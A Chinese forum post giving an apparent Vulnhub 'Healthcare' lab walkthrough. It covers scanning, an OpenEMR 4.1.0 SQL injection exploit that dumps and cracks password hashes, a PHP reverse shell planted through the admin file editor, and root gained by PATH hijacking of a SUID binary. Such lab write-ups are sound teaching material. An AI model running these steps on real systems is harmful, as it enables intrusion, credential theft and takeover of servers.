钜形不锈钢水箱 发表于 2023-4-22 17:27:22

Vulnhub之Healthcare靶机详细测试过程

Healthcare

作者: jason huawen
靶机信息

名称:
地址:
识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                         
                                                                                                                           
3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
_____________________________________________________________________________
   IP            At MAC Address   Count   LenMAC Vendor / Hostname      
-----------------------------------------------------------------------------
192.168.56.1    0a:00:27:00:00:05      1      60Unknown vendor                                                            
192.168.56.10008:00:27:69:f3:d5      1      60PCS Systemtechnik GmbH                                                   
192.168.56.25408:00:27:f6:d1:32      1      60PCS Systemtechnik GmbH            利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.254
NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-21 22:01 EDT
Nmap scan report for inplainsight (192.168.56.254)
Host is up (0.000090s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp openftp   ProFTPD 1.3.3d
80/tcp openhttp    Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
| http-robots.txt: 8 disallowed entries
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/
|_/all_our_e-mail_addresses /admin/ /
|_http-title: Coming Soon 2
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
MAC Address: 08:00:27:F6:D1:32 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.74 secondsNMAP扫描结果表明目标主机有2个开放端口:21(ftp)、80(http)
获得Shell

┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ ftp 192.168.56.254
Connected to 192.168.56.254.
220 ProFTPD 1.3.3d Server (ProFTPD Default Installation)
Name (192.168.56.254:kali): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed
ftp> quit
221 Goodbye.
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ searchsploit ProFTPD                                       
-----------------------------------------------------------------
[*]FTP不允许匿名访问
[*]FTP服务为ProFTPD,可能存在mod_copy漏洞
┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ curl http://192.168.56.254/robots.txt
# $Id: robots.txt 410967 2009-08-06 19:44:54Z oden $
# $HeadURL: svn+ssh://svn.mandriva.com/svn/packages/cooker/apache-conf/current/SOURCES/robots.txt $
# exclude help system from robots
User-agent: *
Disallow: /manual/
Disallow: /manual-2.2/
Disallow: /addon-modules/
Disallow: /doc/
Disallow: /images/
# the next line is a spam bot trap, for grepping the logs. you should _really_ change this to something else...
Disallow: /all_our_e-mail_addresses
# same idea here...
Disallow: /admin/
# but allow htdig to index our doc-tree
#User-agent: htdig
#Disallow:
# disallow stress test
user-agent: stress-agent
Disallow: /robots.txt存在/admin/条目,但是访问该目录,却返回页面不存在的错误。
──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ nikto -h http://192.168.56.254      
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.254
+ Target Hostname:    192.168.56.254
+ Target Port:      80
+ Start Time:         2023-04-21 22:08:13 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
+ Server may leak inodes via ETags, header found with file /, inode: 264154, size: 5031, mtime: Sat Jan6 01:21:38 2018
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ "robots.txt" contains 8 entries which should be manually viewed.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /cgi-bin/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 9543 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:         2023-04-21 22:09:10 (GMT-4) (57 seconds)
---------------------------------------------------------------------------nikto扫描结果认为存在shellcode漏洞,查询得到漏洞利用代码:
https://www.exploit-db.com/exploits/34900但是该代码并不能正常工作,只能另外寻找突破口。
接下来扫描一下目录:
┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ gobuster dir -u http://192.168.56.254 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .php,.js,.html,.txt,.sh
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.254
[+] Method:                  GET
[+] Threads:               10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:            gobuster/3.3
[+] Extensions:            js,html,txt,sh,php
[+] Timeout:               10s
===============================================================
2023/04/21 22:56:51 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [--> http://192.168.56.254/images/]
/index.html         (Status: 200)
/index                (Status: 200)
/.html                (Status: 403)
/css                  (Status: 301) [--> http://192.168.56.254/css/]
/js                   (Status: 301) [--> http://192.168.56.254/js/]
/vendor               (Status: 301) [--> http://192.168.56.254/vendor/]
/favicon            (Status: 200)
/robots               (Status: 200)
/robots.txt         (Status: 200)
/fonts                (Status: 301) [--> http://192.168.56.254/fonts/]
/gitweb               (Status: 301) [--> http://192.168.56.254/gitweb/]
/.html                (Status: 403)
/phpMyAdmin         (Status: 403)
/server-status      (Status: 403)
/server-info          (Status: 403)
/openemr            (Status: 301) [--> http://192.168.56.254/openemr/]扫描出/openemr目录,其他目录没有什么价值。
访问该目录,可知CMS为OpenEMR, 版本为4.1.0,查询是否存在相关漏洞
┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ searchsploit openEMR 4.1.0
-------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title                                                                              |Path
-------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 4.1.0 - 'u' SQL Injection                                                         | php/webapps/49742.py
Openemr-4.1.0 - SQL Injection                                                               | php/webapps/17998.txt
-------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ searchsploit -m php/webapps/49742.py
Exploit: OpenEMR 4.1.0 - 'u' SQL Injection
      URL: https://www.exploit-db.com/exploits/49742
   Path: /usr/share/exploitdb/exploits/php/webapps/49742.py
    Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Vulnhub/Healthcare/49742.py将漏洞利用代码拷贝至工作目录,执行该代码
┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ python 49742.py                                                                     

   ____                   _______________   __ __   ___ ____
/ __ \___________/ ____/|// __ \   / // /<// __ \
/ / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ // // /_/ // / / /
/ /_/ / /_/ /__/ / / / /___/ // / _, _//____/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_//_/_/ |_|   /_/ (_)_(_)____/
    /_/
    _______         __   _____ ____    __    _
   / __ )/ (_)_______/ // ___// __ \/ /   (_)
/ /_/ / / / __ \/ __/   \__ \/ / / / / /   / /
/ /_/ / / / / / / /_/ /   ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/   /____/\___\_\/_____/_/   exploit by @ikuamike

[+] Finding number of users...
[+] Found number of users: 2
[+] Extracting username and password hash...
admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d   利用在线网站解密:
https://md5decrypt.net/en/Sha1/#answer得到admin的密码为ackbar, 另外一个用户密码为medical
登录:
http://192.168.56.254/openemr/在administration栏目中,可以Edit file,看是否可以将shell.php代码增加到其中一个文件,比如:statement.inc.php,而且可以看到完整的路径,将shell.php代码拷贝增加到statement.inc.php后,访问该文件:
http://192.168.56.254/openemr/sites/default/statement.inc.php从而在Kali Linux上得到reverse shell
┌──(kali㉿kali)-[~/Vulnhub/Healthcare]
└─$ sudo nc -nlvp 5555                  
password for kali:
listening on 5555 ...
connect to from (UNKNOWN) 37539
Linux localhost.localdomain 2.6.38.8-pclos3.bfs #1 SMP PREEMPT Fri Jul 8 18:01:30 CDT 2011 i686 i686 i386 GNU/Linux
20:50:43 up1:55,0 users,load average: 1.00, 1.28, 3.57
USER   TTY      LOGIN@   IDLE   JCPU   PCPU WHAT
uid=479(apache) gid=416(apache) groups=416(apache)
sh: no job control in this shell
sh-4.1$ which python
which python
/usr/bin/python
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.1$ cd /home
cd /home
bash-4.1$ ls -alh
ls -alh
total 20K
drwxr-xr-x5 root   root   4.0K Jul 292020 .
drwxr-xr-x 21 root   root   4.0K Apr 21 18:54 ..
drwxr-xr-x 27 almirant almirant 4.0K Jul 292020 almirant
drwxr-xr-x 31 medicalmedical4.0K Nov52011 medical
drwxr-xr-x3 root   root   4.0K Nov42011 mysqlbash-4.1$ cat user.txt
cat user.txt
d41d8cd98f00b204e9800998ecf8427e从而得到了user flag
提权

看能否用前面得到的密码切换shell到medical
bash-4.1$ su - medical
su - medical
Password: medical

$ id
id
uid=500(medical) gid=500(medical) groups=500(medical),7(lp),19(floppy),22(cdrom),80(cdwriter),81(audio),82(video),83(dialout),100(users),490(polkituser),501(fuse)我们的猜测是正确的
$ find / -perm -4000 -type f 2>/dev/null/usr/bin/healthcheck有SUID位
$ strings /usr/bin/healthcheck
strings /usr/bin/healthcheck
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h可以看到healthcheck会执行ifconfig,因此可以生成我们的ifconfig命令,从而实现提权
cd /tmp
$ echo '/bin/bash' > ifconfig
echo '/bin/bash' > ifconfig
$ chmod 777 ifconfig
chmod 777 ifconfig
$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
$ /usr/bin/healthcheck
/usr/bin/healthcheck
TERM environment variable not set.
System Health Check

Scanning System
# cd /root
cd /root
# ls -alh
ls -alh
total 920K
drwxr-x--- 20 root root 4.0K Jul 292020 ./
drwxr-xr-x 21 root root 4.0K Apr 21 18:54 ../
-rw-------1 root root426 Jul 292020 .bash_history
-rw-r--r--1 root root193 Sep 242011 .bash_profile
-rw-rw-rw-1 root root422 Sep62011 .bashrc
drwxr-xr-x2 root root 4.0K Sep 122011 .cache/
drwx------6 root root 4.0K Sep 122011 .config/
drwx------3 root root 4.0K Jul 192011 .dbus/
drwxr--r--2 root root 4.0K Jul 192011 Desktop/
-rw-------1 root root   28 Jul 222011 .dmrc
drwx------3 root root 4.0K Sep82011 Documents/
drwx------2 root root 4.0K Sep62011 drakx/
drwx------4 root root 4.0K Sep 242011 .gconf/
drwx------2 root root 4.0K Sep 242011 .gconfd/
drwx------3 root root 4.0K Sep 122011 .gnome2/
drwx------2 root root 4.0K Sep 122011 .gnome2_private/
drwx------3 root root 4.0K Jul 292020 .gnupg/
drwx------2 root root 4.0K Jul 192011 .gvfs/
-rwxr-xr-x1 root root 5.7K Jul 292020 healthcheck*
-rw-r--r--1 root root182 Jul 292020 healthcheck.c
-rw-------1 root root    0 Sep 112011 .ICEauthority
drwx------3 root root 4.0K Sep62011 .local/
drwx------3 root root 4.0K Nov52011 .mc/
-rw-r--r--1 root root    0 Oct 222010 .mdk-menu-migrated
-rw-r--r--1 root root    0 Jul 212011 .menu-updates.stamp
-rw-------1 root root    6 Jul 292020 .mysql_history
-rw-rw-rw-1 root root 2.1K Jul 292020 root.txt
-rw-r--r--1 root root 797K Apr 122020 sudo.rpm
drwx------2 root root 4.0K Nov52011 .synaptic/
drwx------2 root root 4.0K Sep 112011 .thumbnails/
drwx------2 root root 4.0K Apr 21 18:54 tmp/
drwxr-xr-x2 root root 4.0K Jul 292020 .xauth/
-rw-r--r--1 root root 1.9K Jul62011 .xbindkeysrc
# cat root.txt
cat root.txt
██    ██  ██████  ██    ██     ████████ ██████  ██ ███████ ██████    ██ ██  █████  ██████  ██████  ███████ ██████  ██ 
 ██  ██  ██    ██ ██    ██        ██    ██   ██ ██ ██      ██   ██     ██ ██ ██   ██ ██   ██ ██   ██ ██      ██   ██ ██ 
 ████   ██    ██ ██    ██        ██    ██████  ██ █████ ██ ██     ███████ ███████ ██████  ██ ██ █████ ██████  ██ 
 ██  ██    ██ ██    ██        ██    ██   ██ ██ ██    ██ ██     ██   ██ ██   ██ ██   ██ ██ ██ ██    ██   ██    
   ██     ██████   ██████         ██    ██ ██ ██ ███████ ██████      ██ ██ ██ ██ ██ ██ ██████  ███████ ██ ██ ██ 
                                                                                                          
                                                                                                                        
Thanks for Playing!

Follow me at: http://v1n1v131r4.com


root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b

# 至此成功得到了root shell和root flag.
经验教训


[*]在nikto结果得知目标可能存在shellshock后,就认定可以利用漏洞,而忽略对于web应用的正常步骤,即扫描目录,而且需要足够的耐心才能得到相应的目录,否则该靶机将无解。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: Vulnhub之Healthcare靶机详细测试过程